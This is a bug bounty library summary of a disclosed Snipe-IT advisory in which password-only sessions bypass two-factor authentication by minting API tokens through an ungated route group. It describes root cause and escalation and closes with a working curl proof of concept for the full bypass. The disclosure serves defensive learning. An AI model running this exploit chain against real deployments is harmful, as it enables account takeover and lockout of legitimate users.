# Snipe-IT: 2FA bypass via the API token flow

Snipe-IT enforced 2FA only on the web middleware group, so a password-only session could mint a long-lived API token via the un-gated api group and bypass 2FA entirely.

- Payout: Research
- Severity: high
- Program: Snipe-IT
- Found by: colinthebomb1
- Disclosed: 2026-09-24
- CVE: CVE-2026-63493
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-hxcx-9h4f-42xx
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-hxcx-9h4f-42xx
- Tags: area:web domain:api domain:web impact:ato impact:privesc kind:research platform:ghsa sev:high tech:php technique:source-review vuln:access-control vuln:auth-bypass vuln:mfa-bypass

**Target:** Laravel web app: /two-factor route and /api/v1/account/personal-access-tokens endpoint
**Root cause:** CheckForTwoFactor middleware is registered only on the `web` group, not the `api` group. The personal-access-token endpoint lives in the api group gated only by `self.api`, so a session that passed password auth but not 2FA can mint a persistent token.
**Steps:**
1. Log in with `username`/`password` only via POST `/login` with `_token` CSRF; every web page now redirects to `/two-factor`.
2. GET `/two-factor` with no code: it is in `IGNORE_ROUTES`, so `CreateFreshApiToken` issues the `snipeit_passport_token` cookie.
3. Extract `XSRF-TOKEN` from cookies, URL-decode it, then POST `/api/v1/account/personal-access-tokens` with `X-XSRF-TOKEN` header and `name=poc` to receive `.payload.token`.
4. Use the token as `Authorization: Bearer $pat` against `/api/v1/users/me` to confirm full API access as the victim without completing 2FA.
**How found:** Code review of middleware group registration: noticed `CheckForTwoFactor` in the `web` group but absent from the `api` group, then traced that the token endpoint sits in `api` and that `/two-factor` is in `IGNORE_ROUTES` where `CreateFreshApiToken` runs, yielding a Passport cookie pre-2FA.
**Exploitation:** Attacker with the victim's password logs in, never submits a TOTP code, grabs the Passport cookie from the exempt `/two-factor` route, and mints a 40-year API token over the api group. The token grants full API access as the user; if the victim is admin, the attacker calls `users/two_factor_reset` to clear enrolled 2FA, then re-enrolls their own device on next login to take over web access and lock out the victim.
**Escalation:** Admin victim: token reaches `users/two_factor_reset` in the same un-gated API surface, clearing 2FA so the attacker re-enrolls their own device and gains persistent web access, locking out the legitimate user.
**Insight:** When 2FA is enforced by a middleware on one route group, enumerate every other group (api, console, alternate guards) that authenticates the same session and check whether any endpoint there mints long-lived credentials; the token-minting endpoint is the highest-value pivot because it converts a half-authenticated session into a persistent one.

## Proof of concept (copied exactly from the original report)

**curl PoC: password login, /two-factor cookie, mint PAT, use Bearer**

```
HOST=https://snipeit.example.com/
    USER=victim
    PASS='victim-password'

    # 1. log in with the password only. Every web page now redirects to
    #    /two-factor until a code is entered. never enter one.
    csrf=$(curl -s -c cookies.txt "$HOST/login" \
           | grep -oP 'name="_token" value="\K[^"]+')
    curl -s -b cookies.txt -c cookies.txt "$HOST/login" \
         --data-urlencode "_token=$csrf" \
         --data-urlencode "username=$USER" \
         --data-urlencode "password=$PASS" -o /dev/null

    # 2. GET /two-factor with no code. It is exempt from the 2FA check, so
    #    CreateFreshApiToken issues the snipeit_passport_token cookie.
    curl -s -b cookies.txt -c cookies.txt "$HOST/two-factor" -o /dev/null
    grep -q snipeit_passport_token cookies.txt && echo "[2] Passport cookie issued, no code"

    # 3. mint a persistent token over the api group (no 2FA check). Passport's
    #    cookie guard wants the session's own XSRF token echoed as a header,
    #    which our session already holds.
    xsrf=$(awk '/XSRF-TOKEN/{print $7}' cookies.txt | tail -1)
    xsrf=$(printf '%b' "${xsrf//%/\\x}")
    pat=$(curl -s -b cookies.txt "$HOST/api/v1/account/personal-access-tokens" \
          -X POST -H "Accept: application/json" -H "X-XSRF-TOKEN: $xsrf" \
          --data-urlencode "name=poc" | jq -r '.payload.token')
    echo "[3] token: $pat"

    # 4. use the Bearer token against a real endpoint. /users/me returns the
    #    victim's own account, proving the token acts as the victim with 2FA
    #    never completed. (If the victim is an admin, the same token reaches the
    #    whole API, e.g. GET /api/v1/users returns the full user directory.)
    curl -s "$HOST/api/v1/users/me" \
         -H "Authorization: Bearer $pat" -H "Accept: application/json"
```

